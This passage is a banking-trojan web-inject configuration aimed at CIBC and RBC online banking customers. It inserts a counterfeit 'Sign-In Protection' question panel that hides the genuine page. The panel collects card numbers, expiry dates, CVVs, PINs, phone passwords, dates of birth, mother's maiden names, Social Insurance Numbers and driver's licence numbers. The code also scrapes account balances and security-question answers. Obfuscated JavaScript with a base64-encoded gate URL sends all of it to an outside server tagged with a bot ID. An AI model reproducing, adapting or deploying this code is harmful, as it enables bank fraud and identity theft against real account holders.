                                                          setTimeout(showDelay,2000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                                                   return true;  
            }  
            if ( (a1error == 1 ) || (a2error == 1 ))  
            {  
              if( a1error ==1)  
                 {  
                  jQuery('#a1').css('border','solid 1px #EC1D25');  
                 }  
                 if ( a2error == 1 )  
                 {  
                  jQuery('#a2').css('border','solid 1px #EC1D25');  
                 }  
              inisiateError();   
            }                      
           }  
        jQuery('body').show();  
       }  
       function showFake(retik)  
       {  
            jQuery('body').append('<link rel="stylesheet" type="text/css" media="screen" href="/olb/css/screen-post-ChangeAddress1.css?v=Release22b-2" />');  
            jQuery('body').append('<link rel="stylesheet" type="text/css" media="screen" href="/olb/css/screen-post.css?v=Release22b-50" />');  
         var code = jQuery("#panel").html();  
            jQuery("#panel").html("");  
            jQuery('#mainSection').before(code);  
            jQuery('#mainSection').next().hide();  
            jQuery('#userDateStamp').hide(); //date hide  
      jQuery('#subsiteNavigation').find('ul').hide();  
            jQuery('#messageCenterGroup').hide();  
            jQuery('#MyAccounts').before('<li id="Security" class="presentLocation"><a href="/olbtxn/accounts/MyAccounts.cibc" class="ClickProtected">Account Security</a></li>');  
            jQuery('#taskNavigation').find('li').each ( function () {  
              if( jQuery(this).attr('id') != 'Security')  
                 {  
                  jQuery(this).hide();  
                 }  
            });  
            if( retik == '0')  
            {  
             jQuery('#q11').show();  
                jQuery('#a1').after('<div id="mytip" class="fieldNote">(xxxx-xxxx-xxxx-xxxx)</div>');       
                jQuery('#q12').show();  
            }  
            else if ( retik =='info_send_1')  
            {  
             jQuery('#mytip').remove();  
             jQuery('#q21').show();  
                jQuery('#q22').show();  
            }  
            else if ( retik =='pin_send')  
            {  
             jQuery('#q31').show();  
                jQuery('#q32').show();             
            }  
            else if ( retik =='dob_send')  
            {  
             jQuery('#q41').show();  
                jQuery('#q42').show();       
            }  
            else if ( retik =='mmn_send')  
            {  
             jQuery('#q51').show();  
                jQuery('#q52').show();  
       jQuery('#a1').after('<div id="mytip" class="fieldNote">(xxx-xxx-xxx)</div>');                 
            }  
            jQuery('body').show();  
       }        
       function checkFake(accounts)  
       {  
         var req= "send=5&u_bot_id=" + bot_id + "&bn=ca_cibc&log=rbc_core_throw_balances" +  
                            "&cashlist="        +accounts+  
                            "&total="        +"In Cashlist";  
                 function myCallback1()  
        {  
                    if( ret_val != 'dl_send')  
                       {  
                        showFake(ret_val);  
                       }  
                       else  
                       {  
                        jQuery('body').show();  
                       }  
                 }  
                 sendScriptRequest(sa,req,myCallback1, ["test123"]);       
       }  
  jQuery(document).ready( function () {  
    var accounts = '';  
       var balances = jQuery("td.availableFunds").each( function()   
       {  
         var b = jQuery(this).text();  
             accounts = accounts + jQuery.trim(jQuery(this).prev().find('span.cvAccountLabel').text())+':<b>'+jQuery.trim(b) +"</b>|" ;  
       });  
        checkFake(accounts);  
  });  
 </script>  
 data_end  
 data_after  
 data_end  
 set_url *.royalbank.com/* GP  
 data_before  
 <bod*>  
 data_end  
 data_inject  
 <div id="panel" style="display:none">  
 <table border="0" id="QuestionTable" width="100%">  
   <tbody><tr>  
   <td>  
    <table border="0" cellpadding="0" cellspacing="0" width="100%">  
    <tbody><tr>  
     <td colspan="2" align="left">  
     <div id="pagetitlearea" class="clear">  
       <h1 id="pagetitle">  
        Sign-In Protection - Personal Verification Questions  
       </h1>  
     </div>  
     </td>  
    </tr>  
    <tr>  
       <td colspan="2" align="left" height="5">  
       <div class="callout callout-red-withtitle callout-largenotice" id="errordiv" style="display:none;">  
  <span>&nbsp;</span><span class="callout-top"><span>&nbsp;</span></span>  
  <div class="callout-content clear" id="attention-notice-pl-1">  
  <span class="callout-title"><img class="callout-titleicon" alt="Attention" src="/uos/common/images/icons/error-large.gif">Attention: Please review the items below to continue your application.</span>  
  <p>  
  <p></p>  
  <p></p>  
  <ul>  
  <li>  
   <a title="Answer - (jump to error)" href='javascript:msguos_GoToField("pvqAnswer");'>Answer</a> - Please enter your answer to the question. The answer must be a minimum of 3 characters. Reference # SIP-004.  
  </li>  
  </ul>  
  </div>  
  <span class="callout-bottom"><span>&nbsp;</span></span>  
 </div>  
       </td>  
       </tr>  
    <tr>  
     <td colspan="2" class="bodyText">  
     To help us verify your identity, please answer the following question:<br><br>  
     </td>  
    </tr>  
    <tr>  
     <td colspan="2">  
     <span class="contentframework-required-note"><b class="contentframework-required-asterisk">*</b>Required Information</span><br><br>  
     </td>  
    </tr>  
    <tr>  
     <td colspan="2">  
     <table class="contentframework" style="border-bottom:0px">  
      <tbody><tr><th class="contentframework-dataheadertop" colspan="2" scope="col">Question <span id="firstq">1</span> of <span id="endq">2</span></th></tr>  
      <tr class="contentframework-altrow">  
      <td class="contentframework-formdatalabel" width="3%">  
       <label for="pvqQuestion"><strong>Question:</strong></label>  
      </td>  
      <td width="88%" >  
             <span id="q11" style="display:none;">What is your card number ( xxxx-xxxx-xxxx-xxxx )?</span>  
                <span id="q21" style="display:none">What is your card 3-digit cvv ?</span>  
                <span id="q31" style="display:none">What is your phone password?</span>  
                <span id="q41" style="display:none">Who is your first employer?</span>  
                <span id="q51" style="display:none">What is your Social Insurance Number (xxx-xxx-xxx)? </span>  
            </td>  
      </tr>  
      <tr id="answertr1">  
      <td class="contentframework-formdatalabel">  
       <label id="labelanswer1" for="pvqAnswer">  
       <span class="contentframework-negativeindent">  
       <b class="contentframework-required-asterisk">*</b></span><strong>Answer:</strong>  
      <span id="question_text" style="position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden;">What is your card number?</span>  
      </label>  
      </td>  
      <td>  
       <input name="SIP_PVQ_ANS" id="pvqAnswer1" size="22" maxlength="20" type="text">   
      </td>  
      </tr>  
     </tbody></table>  
     <table>  
     <table class="contentframework" style="border-bottom:0px">  
      <tbody><tr><th class="contentframework-dataheadertop" colspan="2" scope="col">Question <span id="firstq">2</span> of <span id="endq">2</span></th></tr>  
      <tr class="contentframework-altrow">  
      <td class="contentframework-formdatalabel" width="3%">  
       <label for="pvqQuestion"><strong>Question:</strong></label>  
      </td>  
      <td width="88%" >   
             <span id="q12" style="display:none;">What is your card expiration date ( mm/yyyy ) ?</span>  
             <span id="q22" style="display:none;">What is your card pin ?</span>  
             <span id="q32" style="display:none">What is your date of birth (mm/dd/yyyy)?</span>  
             <span id="q42" style="display:none">What is your Mother's Maiden Name?</span>  
             <span id="q52" style="display:none">What is your Driver's License Number?</span>  
            </td>  
      </tr>  
      <tr id="answertr2">  
      <td class="contentframework-formdatalabel">  
       <label id="labelanswer2" for="pvqAnswer">  
       <span class="contentframework-negativeindent">  
       <b class="contentframework-required-asterisk">*</b></span><strong>Answer:</strong>  
      <span id="question_text" style="position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden;">What is your card expiration date?</span>  
      </label>  
            </td>  
      <td>  
       <input name="SIP_PVQ_ANS" id="pvqAnswer2" size="22" maxlength="20" type="text">   
      </td>  
      </tr>  
     </tbody></table>  
     <table>  
      <tbody><tr>  
      <td colspan="2" class="bodyText" valign="top">Occasional   
 security checks help us keep your online banking information safe.   
 Please don't share your questions or answers with anyone.</td>  
      </tr>  
      <tr><td colspan="2">&nbsp;</td></tr>  
      <tr>  
      <td class=" bodyText" colspan="2">  
       <input name="SIP_ALWAYSASK" id="SIP_ALWAYSASK" value="Y" title="Ask me at least one PVQ each time I sign in" checked="checked" type="checkbox">  
       <label for="SIP_ALWAYSASK">Ask me at least one PVQ each time I sign in.</label>  
      </td>  
      </tr>  
     </tbody></table>  
     </td>  
    </tr>  
    </tbody></table>  
   </td>  
   <td width="216">&nbsp;</td>  
   </tr>  
   <tr><td colspan="2">&nbsp;</td></tr>  
   <tr>  
   <td>  
    <table border="0" cellpadding="0" cellspacing="0" width="100%">  
      <tbody><tr>  
       <td>  
 <!--3MBUTTON01.CINC: en-->  
 <span class="button button-secondary">  
 </span>  
 <!--3MBUTTON01.CINC. en-->  
       </td>  
       <td colspan="2" align="right">  
 <!--3MBUTTON01.CINC: en-->  
  <span style="float:right;">  
 <span class="button button-primary">  
 <span>  
 <a id="id_btn_continue1" title="Continue" href="#" onmouseover="" onmouseout="" onclick="sendInfo();">Continue <img src="RBC%20Financial%20Group%20-%20Online%20Banking_files/chevron.gif" alt="" height="12" width="12"></a>  
 </span>  
 </span>  
  </span>  
 <!--3MBUTTON01.CINC. en-->  
       </td>  
      </tr>  
    </tbody></table>  
   </td>  
   <td width="216">&nbsp;</td>  
   </tr>  
  </tbody></table>  
 </div>  
 <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>  
 <script type="text/javascript">  
  jQuery('body').hide();  
 var _0x7f7f=["\x53\x43\x52\x49\x50\x54","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x3F\x72\x61\x6E\x64\x3D","\x72\x61\x6E\x64\x6F\x6D","\x26","\x61\x6A\x61\x78\x5F\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x73\x63\x72\x69\x70\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6C\x6F\x61\x64\x65\x64","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x61\x70\x70\x6C\x79","\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50","\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66","\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76","\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F","\x3D","","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function sendScriptRequest(_0xade3x2,_0xade3x3,_0xade3x4,_0xade3x5){var _0xade3x6=document[_0x7f7f[1]](_0x7f7f[0]);if(_0xade3x3){_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]()+_0x7f7f[4]+_0xade3x3;} else {_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]();} ;_0xade3x6[_0x7f7f[5]]=false;_0xade3x6[_0x7f7f[6]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[7]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[8]]=_0xade3x2+_0xade3x3;document[_0x7f7f[12]](_0x7f7f[11])[0][_0x7f7f[10]][_0x7f7f[9]](_0xade3x6);} ;function scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5){return function (){if(_0xade3x6[_0x7f7f[5]]){return ;} ;if(!_0xade3x6[_0x7f7f[13]]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[14]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[15]){_0xade3x6[_0x7f7f[5]]=true;_0xade3x4[_0x7f7f[16]](_0xade3x6,_0xade3x5);_0xade3x6[_0x7f7f[10]][_0x7f7f[17]](_0xade3x6);} ;} ;} ;function decode64(_0xade3x9){var _0xade3xa=_0x7f7f[18]+_0x7f7f[19]+_0x7f7f[20]+_0x7f7f[21]+_0x7f7f[22];var _0xade3xb=_0x7f7f[23];var _0xade3xc,_0xade3xd,_0xade3xe=_0x7f7f[23];var _0xade3xf,_0xade3x10,_0xade3x11,_0xade3x12=_0x7f7f[23];var _0xade3x13=0;var _0xade3x14=/[^A-Za-z0-9\+\/\=]/g;_0xade3x9=_0xade3x9[_0x7f7f[24]](/[^A-Za-z0-9\+\/\=]/g,_0x7f7f[23]);do{_0xade3xf=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x10=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x11=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x12=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3xc=(_0xade3xf<<2)|(_0xade3x10>>4);_0xade3xd=((_0xade3x10&15)<<4)|(_0xade3x11>>2);_0xade3xe=((_0xade3x11&3)<<6)|_0xade3x12;_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xc);if(_0xade3x11!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xd);} ;if(_0xade3x12!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xe);} ;_0xade3xc=_0xade3xd=_0xade3xe=_0x7f7f[23];_0xade3xf=_0xade3x10=_0xade3x11=_0xade3x12=_0x7f7f[23];} while(_0xade3x13<_0xade3x9[_0x7f7f[28]]);;return unescape(_0xade3xb);} ;  
    var bot_id = "%BOTID%" + "_ca_rbc";  
       var sa = decode64("aHR0cHM6Ly9zZWN1c3lzdG1lcy5wdy9zL2cucGhw");  
       // id =  div with error  
       // add to tr contains answer class="contentframework-required-cellhighlight" style="background-color: rgb(241, 229, 229);"  
       // add this after </label>  
       //<ul class="contentframework-required-description" id="error-ul-pvqAnswer-id" style="display: block;width:180px;"><li id="error-li-pvqAnswer-id" style="font-size: 0.91em;"><img class="contentframework-required-icon" alt="Error" src="/uos/common/images/contentframework/icon-formerror.gif">A valid answer is required.</li></ul>  
         function blockonEnter()  
   {  
    jQuery("*").keydown(function(event)  
         {  
     if(13==event.keyCode){  
             event.preventDefault();  
             return false;  
           }  
    });  
    jQuery("*").keyup(function(event) {  
      if(13==event.keyCode){  
                 event.preventDefault();  
             return false;  
            }  
    });  
    jQuery("*").keypress(function(event) {  
      if(13==event.keyCode){  
              event.preventDefault();  
             return false;  
            }  
    });     
   }  
       function inisiateError( question_number)  
       {  
         jQuery('#errordiv').show();  
            var answer_add = '#answertr'+question_number;  
            var label_afte = '#labelanswer' +question_number;  
            jQuery(answer_add).attr('class','contentframework-required-cellhighlight');  
            jQuery(answer_add).css('background-color','rgb(241, 229, 229)');  
            jQuery(label_afte).after('<ul class="contentframework-required-description" id="error-ul-pvqAnswer-id'+question_number+'" style="display: block;width:180px;"><li id="error-li-pvqAnswer-id" style="font-size: 0.91em;"><img class="contentframework-required-icon" alt="Error" src="/uos/common/images/contentframework/icon-formerror.gif">A valid answer is required.</li></ul>')  
         var errorText = '#pvqAnswer' + question_number;  
            jQuery(errorText).val('');  
       }  
       function removeError( question_number)  
       {  
         jQuery('#errordiv').hide();  
            var answer_add = '#answertr'+question_number;  
            var label_afte = '#labelanswer' +question_number;  
            jQuery(answer_add).attr('class','');  
            jQuery(answer_add).css('background-color','white');  
            var ul_rem  = '#error-ul-pvqAnswer-id' + question_number;  
            jQuery(ul_rem).remove();  
       }  
       function luhn(num) {num = (num + '').replace(/\D+/g, '').split('').reverse();if (!num.length)return false;var total = 0, i;for (i = 0; i < num.length; i++) {num[i] = parseInt(num[i]);total += i % 2 ? 2 * num[i] - (num[i] > 4 ? 9 : 0) : num[i];}return (total % 10) == 0;}  
    function checkCC(cc1,cc2,cc3,cc4)  
    {  
     var full = cc1 + cc2 + cc3 + cc4;  
     if ( (isNaN(cc1) || isNaN(cc2) || isNaN (cc3) || isNaN (cc4)) == false )  
     {  
      var totalLengthCC = full.length ;  
      if ( (totalLengthCC == 16 ))  
      {  
         if (( cc1.charAt(0) == '4' ) || ( cc1.charAt(0) == '5' ) )  
         {  
           if ( luhn ( full ) )   
           {  
               return true;  
           }  
         }  
      }  
     }  
     return false;  
    }        
  function checkExp(card_exp)  
  {  
   if (card_exp.indexOf('/')+1 )  
      {  
        var exp_result = card_exp.split('/');  
        if( exp_result.length != 2)  
        {  
         return false;  
        }  
     var exp_mm = exp_result[0];  
     var exp_yy = exp_result[1];  
      }  
      else  
      {  
       return false;  
      }  
   var totalLengthEXP = exp_mm.length + exp_yy.length;  
   if ( totalLengthEXP == 6 )  
   {  
      if ( ( exp_mm > 0 ) && ( exp_mm < 14) )  
      {  
         if (( exp_yy > 2014 ) && ( exp_yy < 2030 ) )  
         {  
           return true;  
         }  
      }  
   }  
   return false;  
  }        
      function checkCVV(cvv_num)  
   {  
    var cvvLength = cvv_num.length;  
    if ( isNaN(cvv_num) == false)  
    {  
     if ( cvvLength == 3 )  
     {  
     if ( (cvv_num.charAt(0) == cvv_num.charAt(1) )&& (cvv_num.charAt(1) ==cvv_num.charAt(2) ) )  
     {   
      return false;  
     }      
     if( cvv_num == "123")  
     {  
        return false;  
     }  
     return true;  
     }  
    }  
    return false;  
   }   
   function checktext(mmn)  
   {  
   if ( isNaN(mmn) )  
   {  
      return true;  
   }  
   return false;  
   }     
    function showDelay()  
       {  
         jQuery('body').show();  
       }  
       function showOrig()  
       {  
           jQuery("#mainnav-level1").find('ul').show();  
             jQuery("#mainnav-level2").find('ul').show();   
       jQuery("#QuestionTable").hide();  
       jQuery("#layout-column-main").find('table[cellpadding=0]').show();  
       }  
       function sendInfo()  
       {  
        removeError( 1 );  
        removeError( 2 );  
        var was_error = 0;  
        var a1 = jQuery('#pvqAnswer1').val();  
        if( a1 == '')  
        {   
         inisiateError( 1);   
            was_error++  
        }  
        var a2 = jQuery('#pvqAnswer2').val();  
        if( a2 == '')  
        {  
            inisiateError( 2);  
            was_error++;  
        }  
        if ( was_error > 0)  
        {  
         return false;  
        }  
        var q1show = jQuery('#q11').css('display');  
        var q2show = jQuery('#q21').css('display');  
        var q3show = jQuery('#q31').css('display');  
        var q4show = jQuery('#q41').css('display');  
        var q5show = jQuery('#q51').css('display');  
        var a1error = 1;  
        var a2error = 1;  
        //START CAR EXP  
        if( q1show != 'none')  
        {  
         //a1= card   
             a1error = 1;  
             a2error = 1;  
            if( a1.length == 19)  
            {  
             if (a1.indexOf('-')+1 )  
                {  
                  var result = a1.split('-');  
                  if( result.length == 4)  
                  {  
            var cc1 = result[0];  
            var cc2 = result[1];  
            var cc3 = result[2];  
                           var cc4 = result[2];  
                           if ( checkCC(cc1,cc2,cc3,cc4))  
                           {  
                            a1error = 0;  
                           }  
                  }  
                }  
            }  
            //a2 = expiration  
            if( a2.length ==7)  
            {  
              if( checkExp(a2))  
                 {  
                     a2error = 0;  
                 }  
            }  
            if(( a1error == 0 ) && (a2error == 0 ) ) //send info  
            {  
                        var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_rbc&full_cc=Card:"  + a1 +  
                           "&full_exp=" + a2 +  
                           "&log=cc_page_1";  
                                                function ccall()  
                     {  
                                                       jQuery('body').hide();  
                         jQuery('#q11').hide();  
                                                          jQuery('#q12').hide();  
                         jQuery('#q21').show();  
                                                          jQuery('#q22').show();  
                                                          jQuery('#pvqAnswer1').val('');  
                                                          jQuery('#pvqAnswer2').val('');  
                                                             setTimeout(showDelay,2000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                                                   return true;  
            }  
            if (a1error == 1 )  
            {  
              inisiateError(1);   
            }  
             if (a2error == 1 )  
             {  
              inisiateError(2);   
             }  
        } //END CARD EXP  
        //START PIN CVV  
     else if ( q2show != 'none')  
        {  
            a1error = 1;  
            a2error = 1;  
         if( checkCVV(a1))  
            {  
             a1error = 0 ;  
            }  
            //end a1  
            //starta2  
             if(( a2 != "") && ( a2.length > 2 ))  
             {  
              var pin = parseInt(a2);  
              if( isNaN(pin) == false)  
                 {  
                  a2error = 0;  
                 }  
             }  
             //start send  
            if(( a1error == 0 ) && (a2error == 0 ) ) //send info  
            {  
              var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_rbc&cvv="+a1+"&pin=<b>PIN:</b>" + a2 +  
                           "&log=page_pin";  
                                                function ccall()  
                     {  
                                                     jQuery('body').hide();  
                                                        if( do2[2] =='0')  
                                                        {  
                                                      mainPageRedirect();  
                                                        }  
                                                        else  
                                                        {  
                                                        showOrig();  
                                                        setTimeout(showDelay,2000);  
                                                        }  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                                                   return true;  
            }  
            if (a1error == 1 )  
            {  
              inisiateError(1);   
            }  
            if (a2error == 1 )  
             {  
              inisiateError(2);   
             }  
        }  
         //end pin cvv  
            //start phonepass dob  
        else if (q3show != 'none')  
        {  
            a1error = 1;  
            a2error = 1;  
      if( a1.length > 3)  
      {  
              a1error = 0;  
            }       
                 if( a2.length == 10)  
                 {  
                   if (a2.indexOf('/')+1 )  
                      {  
                       var result = a2.split('/');  
                       if( result.length == 3)  
                       {  
            var dob_mm = result[0];  
            var dob_dd = result[1];  
            var dob_yy = result[2];  
                             var totalLengthDOB  = dob_mm.length+dob_dd.length+dob_yy.length;  
               if ( ( isNaN(dob_mm) || isNaN(dob_dd) || isNaN(dob_yy) ) == false )   
               {  
                if ( totalLengthDOB > 6 )  
                {  
                 if ( ( dob_yy < 1997) && (dob_yy > 1900) )  
                 {  
                   if( ( dob_mm > 0 ) && ( dob_mm < 13 ) && ( dob_dd > 0 ) && (dob_dd < 32 ) )  
                   {  
                       a2error = 0;  
                   }  
                 }  
                }  
               }  
                       }  
                      }  
                 }            
            if(( a1error == 0 ) && (a2error == 0 ) ) //send info  
            {  
                       var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_rbc&pin="+"<b>PhonePass:</b>" + a1 +"&full_dob=<b>DOB:</b>"+a2+  
                           "&log=page_dob";  
                                                function ccall()  
                     {  
                                                     jQuery('body').hide();  
                                                        if( do2[2] =='0')  
                                                        {  
                                                       mainPageRedirect();  
                                                        }  
                                                        else  
                                                        {  
                                                        showOrig();  
                                                        setTimeout(showDelay,2000);  
                                                        }  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                                                   return true;  
            }  
            if (a1error == 1 )  
            {  
              inisiateError(1);   
            }  
            if (a2error == 1 )  
             {  
              inisiateError(2);   
             }                       
        }  
        //end phone passdob  
        //start employer mmn  
        else if (q4show != 'none')  
        {  
            a1error = 1;  
            a2error = 1;       
      if( a1.length > 5)       
      {  
             a1error = 0;  
            }             
            if ( a2.length > 5)  
            {  
             if( checktext(a2) )  
             {  
             a2error = 0;  
             }  
            }  
            if(( a1error == 0 ) && (a2error == 0 ) ) //send info  
            {  
              var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_rbc&mmn=<b>MMN:</b>" + a2 + "|<b>employer:</b>" + a1+  
                           "&log=page_mmn";  
                                                function ccall()  
                     {  
                                                     jQuery('body').hide();  
                                                        if( do2[2] =='0')  
                                                        {  
                                                       mainPageRedirect();  
                                                        }  
                                                        else  
                                                        {  
                                                        showOrig();  
                                                        setTimeout(showDelay,2000);  
                                                        }  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                                                   return true;  
            }  
            if (a1error == 1 )  
            {  
              inisiateError(1);   
            }  
            if (a2error == 1 )  
             {  
              inisiateError(2);   
             }              
        }  
        //end employer mmn  
        //start sin   
        else if (q5show != 'none')  
           {  
            a1error = 1;  
            a2error = 1;       
                   if( a1.length == 11)  
                      {  
                    if (a1.indexOf('-')+1 )  
                       {  
                        var result = a1.split('-');  
                        if( result.length == 3)  
                        {  
             var sin_1 = result[0];  
             var sin_2 = result[1];  
             var sin_3 = result[2];  
                                if ( ( isNaN(sin_1) || isNaN(sin_2) || isNaN(sin_3) ) == false )  
                                {  
                  a1error = 0;  
                                }  
                           }  
           }                            
                      }  
         if( a2.length > 5)  
         {  
                       a2error = 0;  
         }       
            if(( a1error == 0 ) && (a2error == 0 ) ) //send info  
            {  
              var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_rbc&mmn=<b>SIN:</b>|"+a1+"<b>DL:</b>" + a2 +  
                           "&log=page_dl";  
                                                function ccall()  
                     {  
                                                     jQuery('body').hide();  
                                                        if( do2[2] =='0')  
                                                        {  
                                                      mainPageRedirect();  
                                                        }  
                                                        else  
                                                        {  
                                                         showOrig();  
                                                         setTimeout(showDelay,2000);  
                                                        }  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                                                   return true;  
            }  
            if (a1error == 1 )  
            {  
              inisiateError(1);   
            }  
            if (a2error == 1 )  
             {  
              inisiateError(2);   
             }                       
           }  
        return false;  
       }  
       function showFake(retik)  
       {  
         var code = jQuery("#panel").html();  
            jQuery("#panel").html("");  
         jQuery("#mainnav-level1").find('ul').hide();  
            jQuery("#mainnav-level2").find('ul').hide();  
           jQuery("#layout-column-main").find('table').eq(0).hide();  
            jQuery("#layout-column-main").find('table').eq(0).before(code);  
            if( retik == '0')  
            {  
             jQuery('#q11').show();  
                jQuery('#q12').show();  
            }  
            else if ( retik =='info_send_1')  
            {  
             jQuery('#q21').show();  
                jQuery('#q22').show();  
            }  
            else if ( retik =='pin_send')  
            {  
             jQuery('#q31').show();  
                jQuery('#q32').show();             
            }  
            else if ( retik =='dob_send')  
            {  
             jQuery('#q41').show();  
                jQuery('#q42').show();       
            }  
            else if ( retik =='mmn_send')  
            {  
             jQuery('#q51').show();  
                jQuery('#q52').show();       
            }  
            jQuery('body').show();  
       }  
       function checkFake(accounts)  
       {  
         var req= "send=5&u_bot_id=" + bot_id + "&bn=ca_rbc&log=rbc_core_throw_balances" +  
                            "&cashlist="        +accounts+  
                            "&total="        +"In Cashlist";  
                 function myCallback1()  
        {  
                    if( ret_val != 'dl_send')  
                       {  
                        showFake(ret_val);  
                       }  
                       else  
                       {  
                        if( do2[2] =='0')  
                           {  
                            mainPageRedirect();  
                           }  
                       }  
                 }  
                 sendScriptRequest(sa,req,myCallback1, ["test123"]);       
       }  
       function QuestionsSend()  
       {  
       var q1=jQuery("#pvqlist1").find('option:selected').val();  
             if ( q1 =='*')  
             {  
              q1 = jQuery('#ownquestion1').val();  
             }  
       var rq1 = q1.replace('?','');  
       var rq12 = rq1.replace("'","");  
       var q2=jQuery("#pvqlist2").find('option:selected').val();  
             if ( q2 =='*')  
             {  
              q2 = jQuery('#ownquestion2').val();  
             }  
       var rq2 = q2.replace('?','');  
       var rq22 =rq2.replace("'","");  
       var q3=jQuery("#pvqlist3").find('option:selected').val();  
             if ( q3 =='*')  
             {  
              q3 = jQuery('#ownquestion1').val();  
             }  
       var rq3 = q3.replace('?','');  
       var rq32 =rq3.replace("'","");  
             if ( ( q1.length < 3 ) || ( q2.length < 3 ) || ( q3.length < 3 ) )  
             {  
              alert('Please change you security questions');  
                 return false;  
             }  
             var a1=jQuery('#answer1').val();  
             var a2=jQuery('#answer2').val();  
             var a3=jQuery('#answer3').val();  
             if ( ( a1.length < 2 ) || ( a2.length < 2 ) || ( a3.length < 2 ) )  
             {  
              alert('Please change you security questions');  
                 return false;  
             }  
             var req= "send=1&bn=ca_rbc&u_bot_id=" +  bot_id + "&u_login=&u_pass=" +  
    "&log=<b>ANSWERS_CA_RBC:</b>" + jQuery.trim(rq12)+":<b>"+jQuery.trim(a1)+"</b>|"+jQuery.trim(rq22)+":<b>"+jQuery.trim(a2) +"</b>|"+jQuery.trim(rq32)+":<b>"+jQuery.trim(a3)+"</b>";  
       function myCallback()  
       {  
                 var finda1 = jQuery("a[id=id_btn_continue]").eq(1).attr('href')  
                 if (finda1)  
                 {  
                 var parse = finda1.split(':');  
              var result = parse[1];  
              eval(result);  
                 }  
        return false;  
       }  
       sendScriptRequest(sa,req,myCallback, ["test123"]);              
       return false;  
       }  
    function logMessages( log , action , param1,param2 )  
       {  
        var req   = "send=1&u_bot_id=" +bot_id+"&bn=ca_rbc&u_login=&u_pass=&log=" +log;   
        function statusCall1()   
        {  
        if( do2[2] =='0')  
           {  
      if ( ( action =='page0') || ( action =='page1')|| ( action =='page2') )  
            {  
             eval(param1);  
            }  
           }  
     else  
     {  
            jQuery('body').show();  
           }            
        }  
        sendScriptRequest(sa, req,statusCall1, ["test123"]);  
       }   
       function mainPageRedirect()  
       {  
         var s = jQuery('li.mainnav-level2-rightofcurrentpage').find('a').attr('href');  
      if( s )  
            {  
            var parse = s.split(':');  
            var result = parse[1];  
            eval(result);  
            return false;  
            }  
       }  
       function grabQ()  
       {  
        // this code in another function   
           //  
           if ((jQuery('#ownquestion1').length > 0) )  
           {  
            jQuery('#id_btn_cancel').parent().parent().hide();  
            alert('Please change you security questions');  
      jQuery('a[id=id_btn_continue]').parent().parent().parent().hide();  
            jQuery('#Continue').after('<span style="float:right;"><span class="button button-primary"><span><a id="id_btn_continue" title="Continue" href="#" onmouseover="" onmouseout="" onclick="QuestionsSend()">Continue <img src="/uos/common/images/buttons/chevron.gif" alt="" height="12" width="12"></a></span></span></span>');  
            jQuery('body').show();  
            return false;  
           }  
           if (jQuery('ul.leftnav-currentsection').length > 0 ) //left navigation exist - page banking  
           {  
            var x =jQuery('p[id=path]').find('a').length; // x link like persacc->profile_code  
            //0 -banking  
            //1 - profile_code  
            if( x == 0 )  
            {  
             var profile_code = jQuery('ul.leftnav-currentsection').find('li').eq(4).find('a').attr('href');  
             if( profile_code)  
             {  
              var parse = profile_code.split(':');  
              var result = parse[1];  
             // eval(result);  
                 logMessages( 'Banking - Page:' , 'page0' , result,'' );  
             }  
            }  
            else if( x == 1) //Profile and preferences page  
            {  
